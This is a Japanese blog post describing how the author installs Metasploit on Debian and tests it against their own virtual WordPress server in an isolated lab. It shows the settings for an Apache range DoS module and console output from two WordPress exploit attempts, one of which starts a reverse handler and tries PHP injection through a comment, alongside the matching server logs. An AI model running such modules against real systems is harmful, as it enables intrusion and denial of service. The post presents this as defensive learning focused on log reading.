Hack系のツールというとイメージ的にもPythonと思っていましたが、このツールはどうやらRubyのようです。
わお〜。
最近使いたいツール類がたまたまRubyだったということがとても多いので少々驚いていますが、このビッグウェーブに乗るしかない!と、ビッグウェーブと言ってもマイブームの中のビッグウェーブですけどね。
Hackというと昨今のメディアの影響で良くないイメージをお持ちの方も多いと思いますが、本来はお医者さんのようなもので、探求した技術を良い方向に動かす人のことを指します。LifeHackというウェブで色々なことを少し掘り下げてる記事がありますが、ああいう感じだと思います。
では、Metasploitで何ができるかというと、ペネトレーションテストといって、簡単にいうとサーバーやネットワークに弱点がないか確認したり、どれだけのDoSに耐えられるかどうか、のようなテストをすることができます。
しかし、大いなる力には、大いなる責任が伴います!
自分の管理下にないコンピュータやネットワークに使ったりすると、攻撃とみなされたり、法的措置をとられたりということも十分にあり得ることですので、しっかりとした知識を持って利用する必要があります。
以前とりあげていたスクレイピングも場合により攻撃とみなされることもあるので注意です。
注意する所は、そのツールを使うと何が起こるのか、そのコマンドを叩くことでどういう結果が返るのか、また、実行して予想外のことが起こった時に自身のスキルでちゃんと解決ができるのか。
などなど、そういうことが分かった上で利用する必要があるということです。
な〜んて偉そうに語っていますが、自分もまだまだ半人前だし、楽しくなけりゃ意味がないと思ってますから、準備が整ったらWAN側のLANケーブルは抜いてしまって、スタンドアロンな環境で実験すれば安全なのですよ。
環境
最近はオープンソースの精神にハマっていて、みんなで良くしていこうぜ!っていいですよね。
Debianはユーザーオンリーのディストリということを最近知りました。
今回はDebianにしたいと思います。
Debianも8からはSystemDになったしね〜。
最新のJesieです。
user@deb:~$ sudo lsb_release -d Description: Debian GNU/Linux 8.0 (jessie)
sudoや必要最低限なものは既に準備済みの状態です。
インストールメモ
パッケージ類を推奨パッケージと共にいろいろインストール。PATHを通したりが面倒なので、rbenvでやった方がいいと思いました。rbenvなしでインストールしたので、折角なのでそのまま載せまする。
パッケージは途中からまた最初に1回戻っているのですが、多分これらで大丈夫だと思います。
user@deb:~$ sudo aptitude update user@deb:~$ sudo aptitude upgrade user@deb:~$ sudo aptitude install build-essential libreadline-dev libssl-dev libpq5 libpq-dev libreadline5 libsqlite3-dev libpcap-dev openjdk-7-jre subversion git-core autoconf postgresql pgadmin3 curl zlib1g-dev libxml2-dev libxslt1-dev libyaml-dev nmap xtightvncviewer user@deb:~$ sudo gem install --verbose --debug pcaprub wirble pg sqlite3 msgpack activerecord redcarpet rspec simplecov yard bundler
環境変数の追加
user@deb:~$ cat >> ~/.bashrc export GEM_HOME=~/extlib/gems ^C user@deb:~$ exec $SHELL -l
Metasploit-frameworkのインストール
user@deb:~$ cd /opt user@deb:/opt$ sudo mkdir metasploit-framework user@deb:/opt$ sudo chown -R user:user . user@deb:/opt$ git clone https://github.com/rapid7/metasploit-framework.git user@deb:/opt$ cd metasploit-framework user@deb:/opt$ bash -c 'for MSF in $(ls msf*); do ln -s /opt/metasploit-framework/$MSF /usr/local/bin/$MSF;done' user@deb:/opt/metasploit-framework$ echo 'export PATH="/var/lib/gems/2.1.0/gems/bundler-1.9.8/bin:$PATH"' >> ~/.bashrc user@deb:/opt/metasploit-framework$ exec $SHELL -l user@deb:/opt/metasploit-framework$ bundle install
bundle installで結構な量がインストールされました。
お馴染みのライブラリや、初めて見るものもたくさんありますね。
rake 10.4.2 i18n 0.7.0 minitest 4.7.5 multi_json 1.11.0 thread_safe 0.3.5 tzinfo 0.3.43 activesupport 4.0.13 builder 3.1.4 erubis 2.7.0 rack 1.5.2 rack-test 0.6.3 actionpack 4.0.13 mime-types 2.4.3 mail 2.6.3 actionmailer 4.0.13 activemodel 4.0.13 activerecord-deprecated_finders 1.0.4 arel 4.0.2 activerecord 4.0.13 arel-helpers 2.1.0 ffi 1.9.8 childprocess 0.5.5 diff-lcs 1.2.5 gherkin 2.12.2 multi_test 0.1.2 cucumber 1.3.19 rspec-expectations 2.99.2 aruba 0.6.2 bcrypt 3.1.10 bundler 1.9.8 mini_portile 0.6.2 nokogiri 1.6.6.2 xpath 2.0.0 capybara 2.4.4 coderay 1.1.0 thor 0.19.1 railties 4.0.13 hike 1.2.3 tilt 1.4.1 sprockets 2.12.3 sprockets-rails 2.2.4 rails 4.0.13 cucumber-rails 1.4.2 docile 1.1.5 factory_girl 4.5.0 factory_girl_rails 4.5.0 fivemat 1.2.1 rkelly-remix 0.0.6 jsobfu 0.2.1 json 1.8.2 metasploit-concern 1.0.0 metasploit-model 1.0.0 pg 0.18.1 pg_array_parser 0.0.9 postgres_ext 2.4.1 recog 1.0.29 metasploit_data_models 1.0.1 rubyntlm 0.5.0 rubyzip 1.1.7 metasploit-credential 1.0.0 metasploit-payloads 0.0.5 msgpack 0.5.11 packetfu 1.1.9 rb-readline-r7 0.5.2.0 robots 0.10.1 sqlite3 1.3.10 metasploit-framework 4.11.0.pre.dev from source at . metasploit-framework-db 4.11.0.pre.dev from source at . network_interface 0.0.1 pcaprub 0.12.0 metasploit-framework-pcap 4.11.0.pre.dev from source at . method_source 0.8.2 slop 3.6.0 pry 0.10.1 redcarpet 3.2.3 rspec-core 2.99.2 rspec-mocks 2.99.3 rspec 2.99.0 rspec-collection_matchers 1.1.2 rspec-rails 2.99.0 shoulda-matchers 2.8.0 simplecov-html 0.9.0 simplecov 0.9.2 timecop 0.7.3 yard 0.8.7.6
いったん起動させてみました。もちろんまだ使えませんので、DBを用意します。
Postgresを使います。
msf > search easy [!] Database not connected or cache not built, using slow search ^C[-] Error while running command search:
設定ファイルの変更や、DBの作成をおこないます。
user@deb:~$ sudo vi /etc/postgresql/9.4/main/pg_hba.conf #local all all peer local all all md5 user@deb:~$ sudo cp /opt/metasploit-framework/config/database.yml.example /opt/metasploit-framework/database.yml user@deb:~$ sudo systemctl restart postgresql.service user@deb:~$ echo 'export MSF_DATABASE_CONFIG=/opt/metasploit-framework/database.yml' >> ~/.bashrc
user@deb:~$ sudo su postgres postgres@deb:/home/user$ createuser metas -P 新しいロールのためのパスワード: もう一度入力してください: postgres@deb:/home/user$ createdb metas postgres@deb:/home/user$ exit
/opt/metasploit-framework/database.yml production: adapter: postgresql database: metas username: metas password: metas host: 127.0.0.1 port: 5432 pool: 75 timeout: 5 user@deb:~$ sudo systemctl restart postgresql.service
では、起動します。
user@deb:~$ msfconsole msf > db_connect metas:metas@localhost:5432/metas [*] Rebuilding the module cache in the background... msf > msf > db_status [*] postgresql connected to metas msf >
ビルドが始まりました。
しばらくしてから検索をかけてみると、じわじわとデータが溜まってきたようです。
msf > search easy [!] Database not connected or cache not built, using slow search Matching Modules ================ Name Disclosure Date Rank Description ---- --------------- ---- ----------- auxiliary/admin/http/wp_easycart_privilege_escalation 2015-02-25 normal WordPress WP EasyCart Plugin Privilege Escalation auxiliary/dos/windows/ftp/xmeasy560_nlst 2008-10-13 normal XM Easy Personal FTP Server 5.6.0 NLST DoS auxiliary/dos/windows/ftp/xmeasy570_nlst 2009-03-27 normal XM Easy Personal FTP Server 5.7.0 NLST DoS auxiliary/scanner/mssql/mssql_schemadump normal MSSQL Schema Dump auxiliary/server/capture/smb normal Authentication Capture: SMB exploit/linux/misc/accellion_fta_mpipe2 2011-02-07 excellent Accellion File Transfer Appliance MPIPE2 Command Execution exploit/unix/webapp/wp_easycart_unrestricted_file_upload 2015-01-08 excellent WordPress WP EasyCart Unrestricted File Upload exploit/windows/browser/hp_easy_printer_care_xmlcachemgr 2012-01-11 great HP Easy Printer Care XMLCacheMgr Class ActiveX Control Remote Code Execution exploit/windows/browser/hp_easy_printer_care_xmlsimpleaccessor 2011-08-16 great HP Easy Printer Care XMLSimpleAccessor Class ActiveX Control Remote Code Execution
では準備が整いましたので、実験してみます。
スタンドアローンにしようと思って、LANケーブルを引っこ抜いたんですが、LANケーブルが古くなっていたのか、抜いた拍子に割れてしまいました〜\(^o^)/
気を取り直して実験であります。だいじょぶ、まだ使えますぞ。
ペネトレーションテスト
対象のサーバーですが、以前にrsyncを使ってVPSの環境と同じファイル構成の仮想サーバーをローカルのVirtualBoxで作ってあったので、そいつを使いたいと思います。
まずはゆるめのDoSで使ったMetasploiteを使った感触を試してみようと思います!
msf > use dos/http/apache_range_dos msf auxiliary(apache_range_dos) >
細かい設定等は飛ばして実行前の確認から。
msf auxiliary(apache_range_dos) > show options Module options (auxiliary/dos/http/apache_range_dos): Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS 192.168.24.66 yes The target address range or CIDR identifier RLIMIT 50 yes Number of requests to send RPORT 80 yes The target port THREADS 1 yes The number of concurrent threads URI / yes The request URI VHOST no HTTP server virtual host Auxiliary action: Name Description ---- ----------- DOS
ログ
192.168.24.65 - - [15/May/2015:00:12:42 +0900] "POST /xmlrpc.php HTTP/1.1" 200 403 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" 192.168.24.65 - - [15/May/2015:00:12:44 +0900] "POST /xmlrpc.php HTTP/1.1" 200 403 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
このような感じでログに残っていますが、ゆるいので、ログもゆるいです。
操作になれるための作業なので、こんな感じで良いかと思います。
あと数個試してみて、Hello World程度の使い方はわかってきました。
それでは!
Wordpressに対しての攻撃をいくつか試してみようと思います。
ちゃんと防げるかドキドキしますね・・。
1個目!
セーフでした。
> exploit [*] Started reverse handler on 192.168.24.65:4444 [*] 192.168.24.63:80 - Trying unauthenticated exploitation... [*] 192.168.24.63:80 - Trying to get posts from feed... [*] 192.168.24.63:80 - Found Post POST ID 5275... [*] 192.168.24.63:80 - Injecting the PHP Code in a comment... [*] 192.168.24.63:80 - Executing the payload... [-] Exploit aborted due to failure: unknown: 192.168.24.63:80 - Comment not in post, maybe comments are moderated
ログ
192.168.24.65 - - [15/May/2015:00:21:02 +0900] "GET / HTTP/1.1" 200 66936 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" 192.168.24.65 - - [15/May/2015:00:21:09 +0900] "GET /?feed=rss2 HTTP/1.1" 200 6483 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" 192.168.24.65 - - [15/May/2015:00:21:10 +0900] "GET HTTP/1.1" 400 840 "-" "-" 192.168.24.65 - - [15/May/2015:00:21:10 +0900] "GET /?p=5275 HTTP/1.1" 200 44146 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" 192.168.24.65 - - [15/May/2015:00:21:11 +0900] "POST /wp-comments-post.php HTTP/1.1" 302 - "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" 192.168.24.65 - - [15/May/2015:00:21:14 +0900] "GET /?p=5275 HTTP/1.1" 200 44143 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
2個目!
セーフでした!
> exploit [-] 192.168.24.63 - It doesn't appear to be vulnerable [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
ログ
192.168.24.65 - - [15/May/2015:00:27:07 +0900] "GET / HTTP/1.1" 200 66935 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" 192.168.24.65 - - [15/May/2015:00:27:08 +0900] "HEAD / HTTP/1.1" 200 - "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
ペネトレーションテストを試してみた感想
このテストの良いところは、サーバーのセキュリティを高めるだけでなくて、攻撃側の行動がログから読めるようになる力がつくことです。テストにびくびくしているのはちょっとマヌケでしたが、ログのリーディングスキルの向上をすることができるというのは今回の収穫でした。
あとは時間がある時に色々とためしてみたいと思います。
昨年は脆弱性の1年と言ってもいいくらいに、色々な種類の攻撃がありましたが、アタック側のことも勉強して、ログを読む力をつけて、ディフェンス力を上げようと思います。
ザーッと見てこのログ怪しいな、と読めるようになれば良いと思います。
でもって、ソースコードはRubyで書かれているので、Rubyのコードリーディングもできるという一石三鳥になりそうです。
いつかは脆弱性やバグの修正までできるように馴れるといいですね。
ではまた〜。